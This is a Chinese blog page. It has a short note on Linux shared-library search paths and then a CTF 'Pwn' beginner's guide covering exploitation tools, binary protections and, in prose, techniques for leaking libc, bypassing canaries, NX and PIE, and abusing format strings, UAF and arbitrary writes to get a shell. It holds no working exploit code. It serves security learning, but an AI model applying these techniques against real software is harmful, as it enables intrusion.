它先搜索 elf 文件的 DT_RPATH 段——环境变量 LD_LIBRARY_PATH——/etc/id.so.cache 文件列表

——/lib/,/usr/lib 目录找到库文件后将其载入内存。

如何让系统找到共享库
临时设置
1
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:库路径
永久生效

用户级别:

1
2
vi ~/.bashrc		  # 最后一行添加 export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:库路径
source ~/.bashrc #或者重启终端

系统级别:

修改 /etc/profile 文件

拓展链接:跟我一起写Makefile

标准C库函数和Linux系统函数的区别

c库IO函数的工作流程

Linux系统函数就没有f了

c库函数与系统函数的关系

一些链接:

C标准库和Linux系统函数区别(带不带缓冲区)

Linux系统函数功能目录速查

Linux系统函数参考手册

虚拟地址空间

文件描述符

Pwn入坑指南

发表于 2019-02-03 | 分类于 Pwn

Pwn常用工具

gdb:Linux下程序调试

PEDA:针对gdb的python漏洞利用开发协助

pwndbg:和PEDA类似,GDB插件

pwntools:写exp和poc的利器(python库)

checksec:检查elf程序的安全性和程序的运行平台(一般来说peda里面自带的就够了)

objdump和readelf:可以很快的知道elf程序中的关键信息(Ubuntu自带)

ROPgadget:强大的Rop利用工具

one_gadget:可以快速的寻找libc中的调用exec(‘bin/sh’)的位置

libc-database: 可以通过泄露的libc的某个函数地址查出远程系统是用的哪个libc版本

检测elf安全性

拿到elf,首先用checksec检查elf运行平台,安全措施

如果用gcc的编译后,默认会开启所有的安全措施

1、RELRO:有Partial RELRO和FULL RELRO(开启),如果开启,则无法修改got表

2、Stack:如果栈中开启Canary found,就不能用直接用溢出的方法覆盖栈中返回地址

​ 而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过

3、NX:NX enabled 如果这个保护开启就是意味着栈中数据没有执行权限

​ 以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过

4、PIE:PIE enabled 如果程序开启这个地址随机化选项,就意味着程序每次运行的时候地址都会变化

​ 而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址

5、FORTIFY:FORTIFY_SOURCE 机制对格式化字符串有两个限制

​ (1)包含%n的格式化字符串不能位于程序内存中的可写地址。

​ (2)当使用位置参数时,必须使用范围内的所有参数。

​ 所以如果要使用%7$x,你必须同时使用1,2,3,4,5和6。

gdb调试

https://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/gdb.html

泄露libc地址和版本的方法

[1] 利用格式化字符串漏洞 泄露栈中的数据,从而找到libc的某个函数地址

再利用libc-database来判断远程libc的版本,之后再计算出libc的基址,一般找__libc_start_main的地址

[2] 利用write这个函数,pwntools有个很好用的函数DynELF去利用这个函数计算出程序的各种地址

包括函数的基地址,libc的基地址,libc中system的地址

[3] 利用printf函数,printf函数输出的时候遇到0x00时候会停止输出

如果输入的时候没有在最后的字节处填充0x00,那么输出的时候就可能泄露栈中的重要数据

比如libc的某个函数地址

简单的栈溢出

程序没有开启任何保护:

方法一:传统的教材思路是把shellcode写入栈中,然后查找程序中或者libc中有没有call esp或者jmp esp,

比如这个题目: http://blog.csdn.net/niexinming/article/details/76893510

方法二:但是现代操作系统中libc中会开启地址随机化,所以先寻找程序中system的函数,再布局栈空间,

调用gets(.bss),最后调用system(‘/bin/sh’)

比如这个题目:http://blog.csdn.net/niexinming/article/details/78796408

方法三:覆盖虚表方式利用栈溢出漏洞,这个方法是m4x师傅的方法,

比如这个题目:http://blog.csdn.net/niexinming/article/details/78144301

开启nx的程序

开启nx之后栈和bss段就只有读写权限,没有执行权限了,所以就要用到rop这种方法拿到系统权限,如果程序很复杂,或者程序用的是静态编译的话,那么就可以使用ROPgadget这个工具很方便的直接生成rop利用链。有时候好多程序不能直接用ROPgadget这个工具直接找到利用链,所以就要手动分析程序来getshell了,比如这两个题目: http://blog.csdn.net/niexinming/article/details/78259866

开启canary的程序

开启canary后就不能直接使用普通的溢出方法来覆盖栈中的函数返回地址了,要用一些巧妙的方法来绕过或者利canary本身的弱点来攻击
【1】利用canary泄露flag,这个方法很巧妙的运用了canary本身的弱点,当stack_check_fail时,会打印出正在运行中程序的名称,所以,我们只要将libc_argv[0]覆盖为flag的地址就能将flag打印出来,比如这个题目: http://blog.csdn.net/niexinming/article/details/78522682
【2】利用printf函数泄露一个子进程的Canary,再在另一个子进程栈中伪造Canary就可以绕过Canary的保护了,比如这个题目:http://blog.csdn.net/niexinming/article/details/78681846

开启PIE的程序

【1】利用printf函数尽量多打印一些栈中的数据,根据泄露的地址来计算程序基地址,libc基地址,system地址,比如这篇文章中echo2的wp: http://blog.csdn.net/niexinming/article/details/78512274
【2】利用write泄露程序的关键信息,这样的话可以很方便的用DynELF这个函数了,比如这个文章中的rsbo2的题解:http://blog.csdn.net/niexinming/article/details/78620566

全部保护开启

如果程序的栈可以被完全控制,那么程序的保护全打开也会被攻破,比如这个题目:http://blog.csdn.net/niexinming/article/details/78666941

格式化字符串漏洞

格式化漏洞现在很难在成熟的软件中遇到,但是这个漏洞却很有趣
【1】pwntools有很不错的函数FmtStr和fmtstr_payload来自动计算格式化漏洞的利用点,并且自动生成payload,比如这个题目:http://blog.csdn.net/niexinming/article/details/78699413 和 http://blog.csdn.net/niexinming/article/details/78512274 中echo的题解
【2】格式化漏洞也是信息泄露的好伴侣,比如这个题目中制造格式化字符串漏洞泄露各种数据 http://blog.csdn.net/niexinming/article/details/78768850

uaf漏洞

如果把堆释放之后,没有把指针指针清0,还让指针保存下来,那么就会引发很多问题,比如这个题目 http://blog.csdn.net/niexinming/article/details/78598635

任意位置写

如果程序可以在内存中的任意位置写的话,那么威力绝对很大
【1】虽然只能写一个字节,但是依然可以控制程序的并getshell,比如这个题目 http://blog.csdn.net/niexinming/article/details/78542089
【2】修改got表是个控制程序流程的好办法,很多ctf题目只要能通过各种方法控制got的写入,就可以最终得到胜利,比如这个题目: http://blog.csdn.net/niexinming/article/details/78542089
【3】如果能计算出libc的基地址的话,控制top_chunk指针也是解题的好方法,比如这个题目: http://blog.csdn.net/niexinming/article/details/78759363

Pwn大佬博客

sakura

muhe

Pwn(NSFW)

Swing

学习资源

checksec及其包含的保护机制

安全客堆讲解

Linux(x86) 漏洞利用开发系列

how2heap总结

pwn-内存泄漏one_gadget

glibc里的one gadget

解析ctf中的pwn–Fast bin里的UAF

Pwn思维导图

12…4
wintry

wintry

31 日志
7 分类
24 标签
E-Mail Twitter GitHub
友链
  • 友链申请
  • 信安之路
  • HackFun
© 2019 wintry